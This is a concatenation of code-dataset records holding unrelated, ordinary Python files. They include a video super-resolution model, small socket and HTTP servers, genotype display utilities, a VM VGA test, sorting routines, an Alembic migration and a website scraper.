import BaseModel\nfrom . import mgtv2_networks\nfrom util import remove_pad_for_tensor\n\n\nclass MGTV2Model(BaseModel):\n \"\"\" This class implements the mgtv2 model\n\n The model training requires '--dataset_mode aligned_video' dataset.\n\n mgtv train dataset size: 600.\n \"\"\"\n @staticmethod\n def modify_commandline_options(parser, is_train=True):\n \"\"\"Add new dataset-specific options, and rewrite default values for existing options.\n\n Parameters:\n parser -- original option parser\n is_train (bool) -- whether training phase or test phase. You can use this flag to add training-specific or test-specific options.\n\n Returns:\n the modified parser.\n\n \"\"\"\n parser.set_defaults(dataset_mode='aligned_video')\n parser.set_defaults(batch_size=48)\n parser.set_defaults(preprocess='crop')\n parser.set_defaults(SR_factor=1)\n parser.set_defaults(crop_size=256)\n parser.set_defaults(beta1='0.9')\n parser.set_defaults(lr=0.0001)\n parser.set_defaults(init_type='kaiming')\n parser.set_defaults(lr_policy='step')\n parser.set_defaults(lr_decay_iters=2000)\n parser.set_defaults(lr_gamma=0.1)\n parser.set_defaults(n_epochs=5000)\n parser.set_defaults(multi_base=32)\n parser.set_defaults(max_consider_len=125)\n parser.set_defaults(scenedetect=True)\n parser.set_defaults(block_size=\"1_1\")\n parser.set_defaults(pre_crop_num=0)\n parser.add_argument('--ch1', type=int, default=64)\n parser.add_argument('--ch2', type=int, default=48)\n parser.add_argument('--nframes', type=int, default=5, help='frames used by model') # used for assert, imgseqlen should set equal to this when train\n\n return parser\n\n def __init__(self, opt):\n BaseModel.__init__(self, opt)\n self.SR_factor = opt.SR_factor\n\n # specify the training losses you want to print out. The training/test scripts will call \n self.loss_names = ['pd', 'st']\n\n # specify the images you want to save/display. The training/test scripts will call \n if self.opt.phase == \"apply\":\n self.visual_names = ['HR_G']\n else:\n self.visual_names = ['LR', 'HR_GroundTruth', 'HR_G']\n\n # specify the models you want to save to the disk. The training/test scripts will call and \n if self.isTrain:\n self.model_names = ['G']\n else:\n self.model_names = ['G']\n\n self.netG = mgtv2_networks.define_G(opt)\n\n if self.isTrain:\n self.criterionL2 = torch.nn.MSELoss()\n self.optimizer_G = torch.optim.Adam(self.netG.parameters(), lr=opt.lr, betas=(opt.beta1, 0.999))\n self.optimizers.append(self.optimizer_G)\n\n def set_input(self, input):\n \"\"\"Unpack input data from the dataloader and perform necessary pre-processing steps.\n\n Parameters:\n input (dict): include the data itself and its metadata information.\n \"\"\"\n self.A_paths = input['A_paths']\n # input['A']: e.g. [4, 5, 3, 256, 256]\n # input['B']: e.g. [4, 5, 3, 256, 256]\n self.LR = input['A'].to(self.device, non_blocking=True)\n assert self.LR.shape[1] == self.opt.nframes, \"input image length {} should equal to opt.nframes {}\".format(self.LR.shape[1], self.opt.nframes)\n\n if self.opt.phase in ('train', 'test'):\n self.B_paths = input['B_paths']\n self.HR_GroundTruth = input['B'].to(self.device, non_blocking=True)\n\n if self.opt.phase == \"apply\":\n self.HR_GT_h, self.HR_GT_w = input['gt_h_w']\n\n def forward(self):\n \"\"\"Run forward pass; called by both functions and .\n \"\"\"\n self.HR_Gs, self.HR_G = self.netG(self.LR)\n\n def compute_visuals(self):\n mid = self.opt.nframes//2\n self.LR = self.LR[:, mid, ...]\n\n if self.opt.phase in (\"train\", \"test\"):\n self.HR_GroundTruth = self.HR_GroundTruth[:, mid, ...]\n\n if self.opt.phase in (\"test\", \"apply\"):\n # remove pad for LR\n if self.opt.phase == \"test\":\n h, w = self.HR_GroundTruth.shape[-2], self.HR_GroundTruth.shape[-1]\n else: # apply\n h, w = self.HR_GT_h, self.HR_GT_w\n self.LR = remove_pad_for_tensor(tensor=self.LR,\n HR_GT_h_w=(h, w),\n factor=self.SR_factor, LR_flag=True)\n # remove pad for HR_G\n self.HR_G = remove_pad_for_tensor(tensor=self.HR_G,\n HR_GT_h_w=(h, w),\n factor=self.SR_factor, LR_flag=False)\n\n # 将HR_G的边缘部分替换为LR的 两个像素\n assert self.LR.shape == self.HR_G.shape # [1,3,H,W]\n self.HR_G[..., 0:2, :] = self.LR[..., 0:2, :]\n self.HR_G[..., -2:, :] = self.LR[..., -2:, :]\n self.HR_G[..., :, 0:2] = self.LR[..., :, 0:2]\n self.HR_G[..., :, -2:] = self.LR[..., :, -2:]\n\n\n def backward(self):\n \"\"\"Calculate loss\"\"\"\n _, _, C, H, W = self.HR_Gs.shape\n self.loss_pd = self.criterionL2(self.HR_Gs.view(-1, C, H, W), self.HR_GroundTruth.view(-1, C, H, W))\n self.loss_st = self.criterionL2(self.HR_G, self.HR_GroundTruth[:, self.opt.nframes//2, ...])\n if self.nowepoch < 2000:\n self.loss = self.loss_pd + self.nowepoch / 1000 * self.loss_st\n else:\n self.loss = 2 * self.loss_st\n self.loss.backward()\n\n def optimize_parameters(self):\n self.forward() # compute fake images: G(A)\n # update\n self.optimizer_G.zero_grad()\n self.backward()\n self.optimizer_G.step()\n","sub_path":"models/mgtv2_model.py","file_name":"mgtv2_model.py","file_ext":"py","file_size_in_byte":8948,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"168342274","text":"'''\nCreated on Jul 27, 2014\n\n@author: ANBU\n'''\nimport socket\n\n# s = socket.socket()\n# s.bind(('127.0.0.1', 1234))\n# s.listen(5)\n# print(\"Server is Listening\")\n# while True:\n# c, addr = s.accept();\n# print(\"Connected With\", addr)\n# c.send('Hello Sir!! ')\n# c.close()\n\n\ns = socket.socket(socket.AF_INET, socket.SOCK_STREAM) # Create a socket object\nhost = socket.gethostname() # Get local machine name\nport = 12345 # Reserve a port for your service.\ns.bind((host, port)) # Bind to the port\n\ns.listen(5) # Now wait for client connection.\nwhile True:\n c, addr = s.accept() # Establish connection with client.\n print('Got connection from', addr)\n c.send(\"Hi\".__str__())\n c.close() \n","sub_path":"PythonWorkspace/FirstPgm/org/srm/kalai/ClientServer_01.py","file_name":"ClientServer_01.py","file_ext":"py","file_size_in_byte":755,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"627326887","text":"from typing import Any, Hashable, Mapping, Tuple\n\nimport pandas as pd\nimport xarray as xr\n\n\nclass GenotypeDisplay:\n \"\"\"\n A printable object to display genotype information.\n \"\"\"\n\n def __init__(\n self,\n df: pd.DataFrame,\n shape: Tuple[int, int],\n max_variants: int,\n max_samples: int,\n ):\n self.df = df\n self.shape = shape\n self.max_variants = max_variants\n self.max_samples = max_samples\n self.pd_options = [\n \"display.max_rows\",\n self.max_variants,\n \"display.min_rows\",\n self.max_variants,\n \"display.max_columns\",\n self.max_samples,\n \"display.show_dimensions\",\n False,\n ]\n\n def __repr__(self) -> Any:\n with pd.option_context(*self.pd_options):\n if (\n len(self.df) > self.max_variants\n or len(self.df.columns) > self.max_samples\n ):\n return (\n self.df.__repr__()\n + f\"\\n\\n[{self.shape[0]} rows x {self.shape[1]} columns]\"\n )\n return self.df.__repr__()\n\n def _repr_html_(self) -> Any:\n with pd.option_context(*self.pd_options):\n if (\n len(self.df) > self.max_variants\n or len(self.df.columns) > self.max_samples\n ):\n return self.df._repr_html_().replace(\n \"\",\n f\"

{self.shape[0]} rows x {self.shape[1]} columns

\",\n )\n return self.df._repr_html_()\n\n\ndef truncate(ds: xr.Dataset, max_sizes: Mapping[Hashable, int]) -> xr.Dataset:\n \"\"\"Truncate a dataset along two dimensions into a form suitable for display.\n\n Truncation involves taking four rectangles from each corner of the dataset array\n (or arrays) and combining them into a smaller dataset array (or arrays).\n\n Parameters\n ----------\n ds\n The dataset to be truncated.\n max_sizes : Mapping[Hashable, int]\n A dict with keys matching dimensions and integer values indicating\n the maximum size of the dimension after truncation.\n\n Returns\n -------\n Dataset\n A truncated dataset.\n\n Warnings\n --------\n A maximum size of `n` may result in the array having size `n + 2` (and not `n`).\n The reason for this is so that pandas can be used to display the array as a table,\n and correctly truncate rows or columns (shown as ellipses ...).\n \"\"\"\n\n if len(max_sizes) != 2:\n raise ValueError(\"Truncation is only supported for two dimensions\")\n\n dims = list(max_sizes.keys())\n max_dim = max_sizes[dims[0]], max_sizes[dims[1]]\n n_dim = ds.sizes[dims[0]], ds.sizes[dims[1]]\n\n if n_dim[0] <= max_dim[0] + 2 and n_dim[1] <= max_dim[1] + 2:\n # No truncation required\n return ds\n\n if n_dim[0] <= max_dim[0] + 1:\n # Truncate dim1 only\n m_dim = n_dim[0], max_dim[1] // 2 + 1\n rows = [[(0, 0), (0, m_dim[1])]]\n elif n_dim[1] <= max_dim[1] + 1:\n # Truncate dim0 only\n m_dim = max_dim[0] // 2 + 1, n_dim[1]\n rows = [[(0, 0)], [(m_dim[0], 0)]]\n else:\n # Truncate both dimensions\n m_dim = max_dim[0] // 2 + 1, max_dim[1] // 2 + 1\n rows = [[(0, 0), (0, m_dim[1])], [(m_dim[0], 0), (m_dim[0], m_dim[1])]]\n\n limits = {dims[0]: m_dim[0], dims[1]: m_dim[1]}\n slices = {k: slice(v) for k, v in limits.items()}\n ds_abbr: xr.Dataset = xr.combine_nested( # type: ignore[no-untyped-call]\n [\n [\n # Roll all of these simultaneously along with any indexes/coords\n # and then clip them using the same slice for each corner\n ds.roll(dict(zip(limits, roll)), roll_coords=True).isel(**slices)\n for roll in row\n ]\n for row in rows\n ],\n concat_dim=limits.keys(),\n )\n\n assert ds_abbr.sizes[dims[0]] <= max_dim[0] + 2\n assert ds_abbr.sizes[dims[1]] <= max_dim[1] + 2\n\n return ds_abbr\n\n\ndef display_genotypes(\n ds: xr.Dataset, max_variants: int = 60, max_samples: int = 10\n) -> GenotypeDisplay:\n \"\"\"Display genotype calls.\n\n Display genotype calls in a tabular format, with rows for variants,\n and columns for samples. Genotypes are displayed in the same manner\n as in VCF. For example, `1/0` is a diploid call of the first alternate\n allele and the reference allele (0). Phased calls are denoted by a `|`\n separator. Missing values are denoted by `.`.\n\n Parameters\n ----------\n ds\n The dataset containing genotype calls in the `call/genotype`\n variable, and (optionally) phasing information in the\n `call/genotype_phased` variable. If no phasing information is\n present genotypes are assumed to be unphased.\n max_variants\n The maximum number of variants (rows) to display. If there are\n more variants than this then the table is truncated.\n max_samples\n The maximum number of samples (columns) to display. If there are\n more samples than this then the table is truncated.\n\n Returns\n -------\n A printable object to display genotype information.\n \"\"\"\n\n # Create a copy to avoid clobbering original indexes\n ds_calls = ds.copy()\n\n # Set indexes only if not already set (allows users to have different row/col labels)\n if isinstance(ds_calls.get_index(\"samples\"), pd.RangeIndex):\n ds_calls = ds_calls.set_index(samples=\"sample_id\")\n if isinstance(ds_calls.get_index(\"variants\"), pd.RangeIndex):\n variant_index = \"variant_id\" if \"variant_id\" in ds_calls else \"variant_position\"\n ds_calls = ds_calls.set_index(variants=variant_index)\n\n # Restrict to genotype call variables\n if \"call_genotype_phased\" in ds_calls:\n ds_calls = ds_calls[\n [\"call_genotype\", \"call_genotype_mask\", \"call_genotype_phased\"]\n ]\n else:\n ds_calls = ds_calls[[\"call_genotype\", \"call_genotype_mask\"]]\n\n # Truncate the dataset then convert to a dataframe\n ds_abbr = truncate(\n ds_calls, max_sizes={\"variants\": max_variants, \"samples\": max_samples}\n )\n df = ds_abbr.to_dataframe().unstack(level=\"ploidy\")\n\n # Convert each genotype to a string representation\n def calls_to_str(r: pd.DataFrame) -> str:\n gt = r[\"call_genotype\"].astype(str)\n gt_mask = r[\"call_genotype_mask\"].astype(bool)\n gt[gt_mask] = \".\"\n if \"call_genotype_phased\" in r and r[\"call_genotype_phased\"][0]:\n return \"|\".join(gt)\n return \"/\".join(gt)\n\n df = df.apply(calls_to_str, axis=1).unstack(\"samples\")\n\n return GenotypeDisplay(\n df,\n (ds.sizes[\"variants\"], ds.sizes[\"samples\"]),\n max_variants,\n max_samples,\n )\n","sub_path":"sgkit/display.py","file_name":"display.py","file_ext":"py","file_size_in_byte":6833,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"549110288","text":"'''\r\n\r\nNew Integration Test for VM vga mode.\r\n\r\n@author: quarkonics\r\n'''\r\n\r\nimport zstackwoodpecker.test_lib as test_lib\r\nimport zstackwoodpecker.operations.config_operations as conf_ops\r\nimport zstackwoodpecker.test_util as test_util\r\nfrom vncdotool import api\r\nfrom PIL import Image\r\n\r\n_config_ = {\r\n 'timeout' : 360,\r\n 'noparallel' : False\r\n }\r\n\r\ntest_stub = test_lib.lib_get_test_stub()\r\nvm = None\r\ndefault_mode = None\r\n\r\ndef test():\r\n global vm\r\n global default_mode\r\n# default_mode = conf_ops.get_global_config_value('kvm', 'videoType')\r\n default_mode = conf_ops.change_global_config('vm', 'videoType', 'vga')\r\n vm = test_stub.create_sg_vm()\r\n console = test_lib.lib_get_vm_console_address(vm.get_vm().uuid)\r\n test_util.test_logger('[vm:] %s console is on %s:%s' % (vm.get_vm().uuid, console.hostIp, console.port))\r\n display = str(int(console.port)-5900)\r\n vm.check()\r\n vm_mode = test_lib.lib_get_vm_video_type(vm.get_vm())\r\n if vm_mode != 'vga':\r\n test_util.test_fail('VM is expected to work in vga mode instead of %s' % (vm_mode))\r\n client = api.connect(console.hostIp+\":\"+display)\r\n client.captureScreen('tmp.png')\r\n image = Image.open('tmp.png')\r\n if image.width != 1024 or image.height != 768:\r\n test_util.test_fail(\"VM is expected to work in 1024x768 while its %sx%s\" % (image.width, image.height))\r\n box = image.getbbox()\r\n if box != (0, 18, 359, 79) and box != (0, 18, 359, 80):\r\n test_util.test_fail(\"VM is expected to display text in area (0, 18, 359, 79) while it's actually: (%s, %s, %s, %s)\" % (box[0], box[1], box[2], box[3]))\r\n\r\n# test_util.test_logger('[vm:] change vga mode to vga=794 which is 1280x1024')\r\n# cmd = 'sed -i \"s/115200$/115200 vga=794/g\" /boot/grub2/grub.cfg'\r\n# test_lib.lib_execute_command_in_vm(vm.get_vm(), cmd)\r\n# vm.reboot()\r\n# vm.check()\r\n# client = api.connect(console.hostIp+\":\"+display)\r\n# client.captureScreen('tmp.png')\r\n# image = Image.open('tmp.png')\r\n# if image.width != 1280 or image.height != 1024:\r\n# test_util.test_fail(\"VM is expected to work in 1280x1024 while its %sx%s\" % (image.width, image.height))\r\n#\r\n# test_util.test_logger('[vm:] change vga mode to vga=907 which is 2560x1600')\r\n# cmd = 'sed -i \"s/vga=794/vga=907/g\" /boot/grub2/grub.cfg'\r\n# test_lib.lib_execute_command_in_vm(vm.get_vm(), cmd)\r\n# vm.reboot()\r\n# vm.check()\r\n# client = api.connect(console.hostIp+\":\"+display)\r\n# client.captureScreen('tmp.png')\r\n# image = Image.open('tmp.png')\r\n# if image.width != 2560 or image.height != 1600:\r\n# test_util.test_fail(\"VM is expected to work in 2560x1600 while its %sx%s\" % (image.width, image.height))\r\n\r\n vm.destroy()\r\n vm.check()\r\n conf_ops.change_global_config('vm', 'videoType', default_mode)\r\n test_util.test_pass('Create VM Test Success')\r\n\r\n#Will be called only if exception happens in test().\r\ndef error_cleanup():\r\n conf_ops.change_global_config('vm', 'videoType', default_mode)\r\n global vm\r\n if vm:\r\n vm.destroy()\r\n","sub_path":"integrationtest/vm/virtualrouter/vga/test_vm_vga.py","file_name":"test_vm_vga.py","file_ext":"py","file_size_in_byte":3081,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"583350896","text":"# Selection sort\ndef Selection(inList=[7, 6, 8, 9, 3, 2, 10, 5, 1]):\n n = len(inList)\n swaps, comparison = 0, 0\n for key in range(n):\n min = key\n for j in range(key+1, n):\n comparison += 1\n if inList[min] > inList[j]:\n min = j\n swaps += 1\n inList[key], inList[min] = inList[min], inList[key]\n return 'SelectionSorted List: {} \\nComparison: {} \\nSwap: {} '.format(\n inList, comparison, swaps)\n\n# Bubble sort \ndef Bubble(inList=[7, 6, 8, 9, 3, 2, 10, 5, 1]):\n n = len(inList)\n swaps, comparison = 0, 0\n for i in range(n):\n for j in range(0, n-i-1):\n comparison += 1\n if inList[j] > inList[j+1]:\n swaps += 1\n inList[j], inList[j+1] = inList[j+1], inList[j]\n\n return 'BubbleSorted List: {} \\nComparison: {} \\nSwap: {} '.format(\n inList, comparison, swaps)\n","sub_path":"Hafta_01/180401060_Ders02.py","file_name":"180401060_Ders02.py","file_ext":"py","file_size_in_byte":914,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"240508053","text":"import random\nfrom stdnum import imei\n\n\ndef luhn_residue(digits):\n return sum(sum(divmod(int(d) * (1 + i % 2), 10))\n for i, d in enumerate(digits[::-1])) % 10\n\n\ndef get_imei(N=15):\n part = ''.join(str(random.randrange(0, 9)) for _ in range(N - 1))\n res = luhn_residue('{}{}'.format(part, 0))\n return '{}{}'.format(part, -res % 10)\n\nif __name__ == \"__main__\":\n str_imei = get_imei()\n print(str_imei, imei.is_valid(str_imei))\n","sub_path":"hhmcds/imei.py","file_name":"imei.py","file_ext":"py","file_size_in_byte":456,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"439517136","text":"\"\"\"empty message\n\nRevision ID: 3e6280aa61c9\nRevises: None\nCreate Date: 2015-01-15 18:20:35.546802\n\n\"\"\"\n\n# revision identifiers, used by Alembic.\nrevision = '3e6280aa61c9'\ndown_revision = None\n\nfrom alembic import op\nimport sqlalchemy as sa\n\n\ndef upgrade():\n ### commands auto generated by Alembic - please adjust! ###\n op.create_table('users',\n sa.Column('id', sa.Integer(), nullable=False),\n sa.Column('username', sa.String(length=80), nullable=False),\n sa.Column('email', sa.String(length=80), nullable=False),\n sa.Column('password', sa.String(length=128), nullable=True),\n sa.Column('created_at', sa.DateTime(), nullable=False),\n sa.Column('first_name', sa.String(length=30), nullable=True),\n sa.Column('last_name', sa.String(length=30), nullable=True),\n sa.Column('active', sa.Boolean(), nullable=True),\n sa.Column('is_admin', sa.Boolean(), nullable=True),\n sa.PrimaryKeyConstraint('id'),\n sa.UniqueConstraint('email'),\n sa.UniqueConstraint('username')\n )\n op.create_table('company_purchases',\n sa.Column('purchase_id', sa.Integer(), nullable=False),\n sa.Column('item', sa.Text(), nullable=True),\n sa.Column('company_id', sa.Integer(), nullable=True),\n sa.ForeignKeyConstraint(['company_id'], ['company.company_id'], ),\n sa.PrimaryKeyConstraint('purchase_id')\n )\n op.create_table('roles',\n sa.Column('id', sa.Integer(), nullable=False),\n sa.Column('name', sa.String(length=80), nullable=False),\n sa.Column('user_id', sa.Integer(), nullable=True),\n sa.ForeignKeyConstraint(['user_id'], ['users.id'], ),\n sa.PrimaryKeyConstraint('id'),\n sa.UniqueConstraint('name')\n )\n op.add_column(u'company_contact', sa.Column('contact_name', sa.String(length=255), nullable=True))\n op.create_foreign_key(None, 'company_contact', 'company', ['company_id'], ['company_id'])\n op.create_foreign_key(None, 'contracts', 'company', ['company_id'], ['company_id'])\n op.drop_column(u'contracts', 'contact_name')\n ### end Alembic commands ###\n\n\ndef downgrade():\n ### commands auto generated by Alembic - please adjust! ###\n op.add_column(u'contracts', sa.Column('contact_name', sa.VARCHAR(length=255), autoincrement=False, nullable=True))\n op.drop_constraint(None, 'contracts', type_='foreignkey')\n op.drop_constraint(None, 'company_contact', type_='foreignkey')\n op.drop_column(u'company_contact', 'contact_name')\n op.drop_table('roles')\n op.drop_table('company_purchases')\n op.drop_table('users')\n ### end Alembic commands ###\n","sub_path":"migrations/versions/3e6280aa61c9_.py","file_name":"3e6280aa61c9_.py","file_ext":"py","file_size_in_byte":2540,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"50679685","text":"#!/usr/bin/env python\n\"\"\"\nVery simple HTTP server in python.\nUsage::\n ./dummy-web-server.py []\nSend a GET request::\n curl http://localhost\nSend a HEAD request::\n curl -I http://localhost\nSend a POST request::\n curl -d \"foo=bar&bin=baz\" http://localhost\n\"\"\"\nfrom BaseHTTPServer import BaseHTTPRequestHandler, HTTPServer\nimport SocketServer\nimport json \nimport random\n\nclass S(BaseHTTPRequestHandler):\n def _set_headers(self):\n self.send_response(200)\n self.send_header('Content-type', 'javascript/json')\n self.end_headers()\n\n def do_GET(self):\n self._set_headers()\n \n self.wfile.write(getRandomVerb())\n\n def do_HEAD(self):\n self._set_headers()\n \n def do_POST(self):\n # Doesn't do anything with posted data\n self._set_headers()\n self.wfile.write(\"

POST!

\")\n \ndef run(server_class=HTTPServer, handler_class=S, port=80):\n server_address = ('', port)\n httpd = server_class(server_address, handler_class)\n print('Starting httpd...')\n httpd.serve_forever()\n\nif __name__ == \"__main__\":\n from sys import argv\n\n if len(argv) == 2:\n run(port=int(argv[1]))\n else:\n run()\n\n\n\ndef getRandomVerb():\n try:\n # We get the json file content (phrasal verbs)\n with open('phrasal_verbs.json') as dataFile:\n phrasalVerbs = json.load(dataFile)\n\n # We get a random position to get the daily phrasal verb\n #for x in range(len(phrasalVerbs)):\n # randomPosition = random.randint(0,len(phrasalVerbs))\n randomPosition = random.randint(0,len(phrasalVerbs))\n\n # Now, we have the choosen item\n #print(\"Content-Type: javascript/json\")\n print(phrasalVerbs[randomPosition])\n #web.header('Content-Type', 'application/json')\n return json.dumps(phrasalVerbs[randomPosition])\n except ValueError:\n print(\"Ups, there is an error: \",ValueError)\n\n#getRandomVerb()","sub_path":"script.py","file_name":"script.py","file_ext":"py","file_size_in_byte":2004,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"350713457","text":"import os \r\n#workDir=os.chdir(\"C:\\Users\\Ralitza\\OneDrive - Seattle University\\SeattleU\\IS 5201\\week1\")\r\nsetDir=os.chdir(\"C:/Users/Ralitza/OneDrive - Seattle University/SeattleU/IS 5201/week1&2\")\r\n\r\ncount=0\r\nfileName=input(\"Please enter the file name:\")\r\nf=open(fileName,\"r\")\r\nfor wordline in f:\r\n lines=wordline.split()\r\n count=count+1\r\nprint(\"The number of words are\" , count)","sub_path":"ForWhile/practicecountingnoOf word.py","file_name":"practicecountingnoOf word.py","file_ext":"py","file_size_in_byte":383,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"377731288","text":"import os\nimport numpy as np\nimport scipy.misc\nimport pandas as pd\nfrom constants import *\nfrom PIL import Image\n\n#столько написал, а из всего этого пригодится только readCsvFile\n\nclass Converter:\n # Метод перевода csv в реальные изображения\n # лейблы сохраняются также в файлик\n def csvFileToImageFiles(self, csvFilePath, outputDirectory = '', saveLabels = False):\n (images, labels) = self.readCsvFile(csvFilePath)\n self.saveImages(images, outputDirectory=outputDirectory)\n\n if saveLabels:\n self.saveLabels(labels)\n\n def saveImages(self, images, outputDirectory = ''):\n index = 0\n for index, image in enumerate(images):\n imageFile = os.path.join(outputDirectory, str(index) + '.jpg')\n scipy.misc.imsave(imageFile, image)\n print(\"Saving image \", index)\n index += 1\n print(\"{} images were saved\".format(index))\n\n def saveLabels(self, labels, outputDirectory = ''):\n pathLabel = NPY_LABEL_FILE\n if outputDirectory and not os.path.exists(outputDirectory):\n if not outputDirectory.endswith('/'):\n outputDirectory += '/'\n os.makedirs(outputDirectory)\n pathLabel = outputDirectory + pathLabel\n np.save(pathLabel, labels)\n\n # Метод переводит csv в .npy файлы (настройка именования файлов в constants.py\n def csvToNpy(self, csvFilePath, outputDirectory = ''):\n (images, labels) = self.readCsvFile(csvFilePath)\n pathImage = NPY_IMAGE_FILE\n pathLabel = NPY_LABEL_FILE\n if outputDirectory and not os.path.exists(outputDirectory):\n if not outputDirectory.endswith('/'):\n outputDirectory += '/'\n os.makedirs(outputDirectory)\n pathImage = outputDirectory + pathImage\n pathLabel = outputDirectory + pathLabel\n np.save(pathImage, images)\n np.save(pathLabel, labels)\n\n # Метод чтения csv файла\n def readCsvFile(self, csvFilePath):\n data = pd.read_csv(csvFilePath)\n labels = []\n images = []\n index = 1\n for index, row in data.iterrows():\n emotion = self.convertEmotion(row['emotion'])\n image = self.convertImageData(row['pixels'])\n if image is not None:\n labels.append(emotion)\n images.append(image)\n else:\n print(\"Error converting image data \", index)\n index += 1\n return (images, labels)\n\n # Создание вектора эмоций\n def convertEmotion(self, emotion):\n d = np.zeros(len(EMOTIONS))\n d[emotion] = 1.0\n return d\n\n #преобразование массива в RGB изорабражение 3x48x48 в оттенках серого\n def convertImageData(self, imageArray):\n dataImage = np.fromstring(str(imageArray), dtype=np.uint8, sep=' ')\n dataImage = dataImage.reshape((WIDTH, HEIGHT))\n dataImage = Image.fromarray(dataImage).convert('RGB')\n dataImage = np.array(dataImage)[:, :, ::-1].copy()\n return dataImage","sub_path":"converter.py","file_name":"converter.py","file_ext":"py","file_size_in_byte":3289,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"192619630","text":"def isprime(n):\n for i in range(2,int(n//2)):\n if n%i == 0:\n return False\n return True\n\nprimes = [2,3,5,7,11]\ntemps = sum(primes)\n\nc = 6\nno = 13\nwhile c <= 2000000:\n if isprime(no):\n primes.append(no)\n c+=1\n temps += no\n no+=1\n\nprint(temps)","sub_path":"10.py","file_name":"10.py","file_ext":"py","file_size_in_byte":291,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"266506378","text":"\"\"\"\n\n\"\"\"\nimport logging\nimport pandas as pd\n\n\nclass ExcelConnector:\n def __init__(self, file_name, sheet_name):\n logging.info(\"reading excel\")\n self.file_name=file_name\n self.sheet_name=sheet_name\n\n def read_excel(self, spark):\n try:\n excel_data_df = pd.read_excel(\n self.file_name,\n sheet_name=self.sheet_name,\n ).dropna(how='all', axis=1)\n excel_data_df = excel_data_df.where(pd.notnull(excel_data_df), None)\n df = spark.createDataFrame(excel_data_df)\n return df\n except:\n return spark.range(0).drop(\"id\") # Empty DF\n\n\n def write_excel(self, df):\n pandas_df = df.toPandas()\n pandas_df.to_excel(self.file_name)\n","sub_path":"excel/client.py","file_name":"client.py","file_ext":"py","file_size_in_byte":758,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"446991322","text":"from typing import Tuple, List\n\nimport re\nimport json\nimport time\nimport logging\nimport urllib.parse\nimport os.path\n\nimport requests\nfrom bs4 import BeautifulSoup\n\nWEBSITE = \"http://lewisdavidsonartist.co.uk\"\nSLEEP_DURATION = 10\n\nlogger = logging.getLogger(__name__)\n\n\ndef load_json(filename: str):\n with open(filename) as open_file:\n return json.load(open_file)\n\n\ndef get_cache_filename(path: str):\n return \".cache\" + path + \".html\"\n\n\ndef load_cache(path: str):\n filename = get_cache_filename(path)\n with open(filename) as open_file:\n return open_file.read()\n\n\ndef write_cache(path: str, content: str):\n filename = get_cache_filename(path)\n with open(filename, \"w\") as open_file:\n open_file.write(content)\n\n\ndef download_page(page_path: str):\n try:\n content = load_cache(page_path)\n logger.debug(\"using cached version\")\n except FileNotFoundError:\n page_address = WEBSITE + page_path\n logger.debug(\"downloading non cached version\")\n content = requests.get(page_address).text\n write_cache(page_path, content)\n logger.info(\"sleep for %s seconds\", SLEEP_DURATION)\n time.sleep(SLEEP_DURATION)\n\n return content\n\n\nclass PageData:\n title: str\n description: str\n image_url: str\n\n\nTITLE_MAP = {\n \"Puzzles (Close-up)\": \"Puzzles\",\n \"Bowling Ball (Close-up)\": \"Bowling Balls\",\n \"Tag\": \"Tags\",\n}\n\n\ndef lookup_title(title: str) -> str:\n return TITLE_MAP.get(title, title)\n\n\ndef process_page(content: str):\n soup = BeautifulSoup(content, \"html.parser\")\n main = soup.find(\"div\", id=\"main\")\n page_data = PageData()\n page_data.title = lookup_title(main.find(\"h2\").text)\n page_data.description = main.find(\"p\").text\n page_data.image_url = main.find(\"img\").get(\"src\")\n return page_data\n\n\ndef load_shows():\n shows = {}\n for page in load_json(\"./data/pages.json\"):\n page_without_slash = page[1:]\n content = download_page(page)\n page_data = process_page(content)\n if page_data.title in shows:\n show = shows[page_data.title]\n show[\"pages\"].append(page_without_slash)\n show[\"descriptions\"].append(page_data.description)\n show[\"image_urls\"].append(page_data.image_url)\n else:\n shows[page_data.title] = {\n \"title\": page_data.title,\n \"pages\": [page_without_slash],\n \"descriptions\": [page_data.description],\n \"image_urls\": [page_data.image_url],\n }\n return shows.values()\n\n\ndef download_show_image(images_folder: str, image_url: str) -> str:\n parsed_image_url = urllib.parse.urlparse(image_url)\n image_name = os.path.basename(parsed_image_url.path)\n local_image_path = os.path.join(images_folder, image_name)\n if os.path.exists(local_image_path):\n logger.info(\"image exists %s\", local_image_path)\n return local_image_path\n # Create the local folder\n local_folder = os.path.split(local_image_path)[0]\n os.makedirs(local_folder, exist_ok=True)\n # Download the image to the local file\n logger.info(\"downloading %s\", local_image_path)\n with open(local_image_path, \"wb\") as open_file:\n response = requests.get(image_url, stream=True)\n for chunk in response.iter_content(chunk_size=128):\n open_file.write(chunk)\n # When download complete sleep to not get blocked\n logger.info(\"sleep for %s seconds\", SLEEP_DURATION)\n time.sleep(SLEEP_DURATION)\n return local_image_path\n\n\ndef download_show_images(name: str, show: dict) -> List[str]:\n local_image_paths = []\n local_folder = \"./images/{}\".format(name)\n for image_url in show[\"image_urls\"]:\n local_image_path = download_show_image(local_folder, image_url)\n local_image_paths.append(local_image_path)\n return local_image_paths\n\n\ndef convert_image_paths(local_paths: List[str], prefix: str = \"/\") -> List[str]:\n return [local_path.replace(\"./\", prefix) for local_path in local_paths]\n\n\npost_template = \"\"\"---\nlayout: post\ntitle: {title}\ncover_image: {cover_image}\nimages_folder: {images_folder}\n---\n\n{description}\n\"\"\"\n\n\ndef save_post(filename, post_data):\n\n post_content = post_template.format(**post_data)\n\n filepath = \"_posts/\" + filename\n with open(filepath, \"w\") as open_file:\n open_file.write(post_content)\n\n\npattern = 